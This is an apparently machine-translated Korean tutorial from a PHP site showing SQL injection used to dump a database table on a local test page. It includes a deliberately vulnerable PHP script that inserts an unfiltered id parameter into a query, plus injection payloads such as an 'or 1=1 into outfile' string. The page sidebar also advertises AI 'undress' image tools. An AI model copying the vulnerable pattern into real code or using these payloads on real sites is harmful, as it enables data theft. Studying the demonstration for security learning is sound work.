SQL 주입 취약점을 사용하여 라이브러리를 드래그하는 사례 공유
SQL 인젝션 취약점을 이용한 백엔드 로그인과 SQL 인젝션 취약점을 이용한 라이브러리 드래그는 관련 내용을 학습한 후 요약한 것일 뿐 깊이가 없습니다.
이전 기사와 마찬가지로 데이터 테이블을 생성하고 테스트 목적으로 테이블 안팎에 여러 데이터 조각을 추가해야 합니다.
데이터베이스에 테이블 만들기:
코드는 다음과 같습니다.
CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`articleid`) ) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
테이블에 데이터를 삽입하는 코드는 게시하지 않습니다. 다운로드하여 직접 가져올 수 있습니다. 데이터베이스에.
다음으로 사용자 요청을 처리하는 페이지를 작성합니다. 여기서는 사용자가 제출한 데이터를 의도적으로 필터링하지 않고 테스트를 위해 SQL 주입 취약점을 남겨둡니다.
코드는 다음과 같습니다.
코드는 다음과 같습니다.
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; $id=$_GET['id'];//id未经过滤 $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); mysql_select_db($dbname,$conn); mysql_query('set names utf8'); $sql = "SELECT * FROM article WHERE articleid='$id'"; $result = mysql_query($sql,$conn); $row = mysql_fetch_array($result); echo "<p>利用SQL注入漏洞拖库<p>"; if (!$row){ echo "该记录不存在"; exit; } echo "标题<br>".$row['title']."<p>"; echo "内容<br>".$row['content']."<p>"; ?>
브라우저에 직접 입력합니다.
127.0.0.1/marcofly/phpstudy/sqlinsert /showart.php?id=1
기사 테이블에서 ID가 1인 레코드에 접근할 수 있습니다
접근 결과는 다음과 같습니다:
다음으로 이 취약점을 사용하겠습니다(취약점을 모르는 경우 도구 + 수동 탐지를 통해서만 탐지 가능). 기사 표를 다운로드하는 방법을 보여드리겠습니다.
주소 표시줄에 'to outfile 'e:/sql.txt'%23을 입력하세요.
분석: %23은 #의 ASCII 코드입니다. 주소 표시줄이 비어 있으면 주소 표시줄에 %23을 입력하면 #이 되고 다음 SQL 문을 코멘트로 출력합니다.
실행 후 E드라이브를 열어서 sql.txt 파일을 추가로 찾으시면 테이블 글에 기록이 있습니다.
왜 기록이 하나뿐인가요? 이 데이터 테이블에는 레코드가 하나만 있습니까? ID가 1인 하나의 레코드만 검색하기 때문에 그렇지 않습니다. 그러면 기사 테이블의 모든 레코드를 한 번에 다운로드할 수 있습니까?
구성된 SQL 문이 충분히 유연하다면 대답은 '예'입니다(구성된 SQL 문의 유연성이 다시 향상됩니다).
분석 결과, URL 주소 표시줄에 'into outfile 'e:/sql.txt'%23을 입력하면 sql 쿼리문으로 병합되어 다음과 같이 됩니다.
SELECT * FROM Article WHERE articleid='5 ' into outfile 'e:/whf.txt'#'
주의 깊게 분석한 후 다음과 같은 SQL 문을 구성할 수 있습니다.
SELECT * FROM Article WHERE Articleid='' or 1=1 into outfile 'e: /whf.txt'#'
이 경우 WHERE 절 은 무슨 일이 있어도 항상 true입니다. 즉, sql 문은 다음과 같습니다.
SELECT * FROM 기사. into outfile 'e:/whf.txt'#'
이해하세요. sql 문은 먼저 select 문을 실행하여 테이블 Article의 모든 내용을 검색한 다음 outfile 'e:/whf.txt'로 실행합니다. # '컨텐츠를 내보냅니다.
믿지 못하겠다면 실행하면 되는데...
SQL 인젝션 취약점을 이용하면 당연히 테이블명, 컬럼명, 사용자 비밀번호 길이(LEFT 함수) 등을 추측할 수 있다. 위의 데모를 직접 따를 수 있습니다. 테이블의 모든 데이터를 내보내면 테이블 이름, 열 이름 등을 추측할 필요가 없습니다.
좀 피곤해서 여기까지만 쓰겠습니다.
SQL 인젝션 취약점을 이용한 백엔드 로그인과 SQL 인젝션 취약점을 이용한 라이브러리 드래그는 관련 내용을 익힌 후 요약한 내용입니다. 그리고 다른 의미는 없습니다.
【관련 추천】
1. 특별 추천: "php Programmer Toolbox" V0.1 버전 다운로드
2. SQL 인젝션을 방지하려면? SQL 인젝션 예방 방법 5가지 소개
3. 유명한 SQL 인젝션 취약점 검사 도구 5가지 공유
위 내용은 SQL 주입 취약점을 사용하여 라이브러리를 드래그하는 사례 공유의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











HQL과 SQL은 Hibernate 프레임워크에서 비교됩니다. HQL(1. 객체 지향 구문, 2. 데이터베이스 독립적 쿼리, 3. 유형 안전성), SQL은 데이터베이스를 직접 운영합니다(1. 데이터베이스 독립적 표준, 2. 복잡한 실행 파일) 쿼리 및 데이터 조작).

"OracleSQL의 나눗셈 연산 사용법" OracleSQL에서 나눗셈 연산은 일반적인 수학 연산 중 하나입니다. 데이터 쿼리 및 처리 중에 나누기 작업은 필드 간의 비율을 계산하거나 특정 값 간의 논리적 관계를 도출하는 데 도움이 될 수 있습니다. 이 문서에서는 OracleSQL의 나누기 작업 사용법을 소개하고 구체적인 코드 예제를 제공합니다. 1. OracleSQL의 두 가지 분할 연산 방식 OracleSQL에서는 두 가지 방식으로 분할 연산을 수행할 수 있습니다.

Oracle과 DB2는 일반적으로 사용되는 관계형 데이터베이스 관리 시스템으로, 각각 고유한 SQL 구문과 특성을 가지고 있습니다. 이 기사에서는 Oracle과 DB2의 SQL 구문을 비교 및 차이점을 설명하고 구체적인 코드 예제를 제공합니다. 데이터베이스 연결 Oracle에서는 다음 문을 사용하여 데이터베이스에 연결합니다. CONNECTusername/password@database DB2에서 데이터베이스에 연결하는 문은 다음과 같습니다. CONNECTTOdataba

SQL에서 ID란 무엇입니까? SQL에서 ID는 자동 증가 숫자를 생성하는 데 사용되는 특수 데이터 유형으로, 테이블의 각 데이터 행을 고유하게 식별하는 데 사용됩니다. ID 열은 일반적으로 기본 키 열과 함께 사용되어 각 레코드에 고유한 식별자가 있는지 확인합니다. 이 문서에서는 Identity를 사용하는 방법과 몇 가지 실제 코드 예제를 자세히 설명합니다. Identity를 사용하는 기본 방법은 테이블을 생성할 때 Identit을 사용하는 것입니다.

MyBatis 동적 SQL 태그 해석: Set 태그 사용법에 대한 자세한 설명 MyBatis는 풍부한 동적 SQL 태그를 제공하고 데이터베이스 작업 명령문을 유연하게 구성할 수 있는 탁월한 지속성 계층 프레임워크입니다. 그 중 Set 태그는 업데이트 작업에서 매우 일반적으로 사용되는 UPDATE 문에서 SET 절을 생성하는 데 사용됩니다. 이 기사에서는 MyBatis에서 Set 태그의 사용법을 자세히 설명하고 특정 코드 예제를 통해 해당 기능을 보여줍니다. Set 태그란 무엇입니까? Set 태그는 MyBati에서 사용됩니다.

해결 방법: 1. 로그인한 사용자에게 데이터베이스에 액세스하거나 운영할 수 있는 충분한 권한이 있는지 확인하고 해당 사용자에게 올바른 권한이 있는지 확인하십시오. 2. SQL Server 서비스 계정에 지정된 파일에 액세스할 수 있는 권한이 있는지 확인하십시오. 3. 지정된 데이터베이스 파일이 다른 프로세스에 의해 열렸거나 잠겼는지 확인하고 파일을 닫거나 해제한 후 쿼리를 다시 실행하십시오. .관리자로 Management Studio를 실행해 보세요.

MySQL에서 데이터 집계 및 통계를 위해 SQL 문을 사용하는 방법은 무엇입니까? 데이터 집계 및 통계는 데이터 분석 및 통계를 수행할 때 매우 중요한 단계입니다. 강력한 관계형 데이터베이스 관리 시스템인 MySQL은 데이터 집계 및 통계 작업을 쉽게 수행할 수 있는 풍부한 집계 및 통계 기능을 제공합니다. 이 기사에서는 SQL 문을 사용하여 MySQL에서 데이터 집계 및 통계를 수행하는 방법을 소개하고 구체적인 코드 예제를 제공합니다. 1. COUNT 함수를 사용합니다. COUNT 함수는 가장 일반적으로 사용됩니다.

데이터베이스 기술 경쟁: Oracle과 SQL의 차이점은 무엇입니까? 데이터베이스 분야에서 Oracle과 SQL Server는 매우 존경받는 관계형 데이터베이스 관리 시스템입니다. 둘 다 관계형 데이터베이스 범주에 속하지만 둘 사이에는 많은 차이점이 있습니다. 이 기사에서는 Oracle과 SQL Server의 차이점과 실제 애플리케이션에서의 기능 및 장점을 자세히 살펴보겠습니다. 우선, Oracle과 SQL Server 사이에는 구문에 차이가 있습니다.
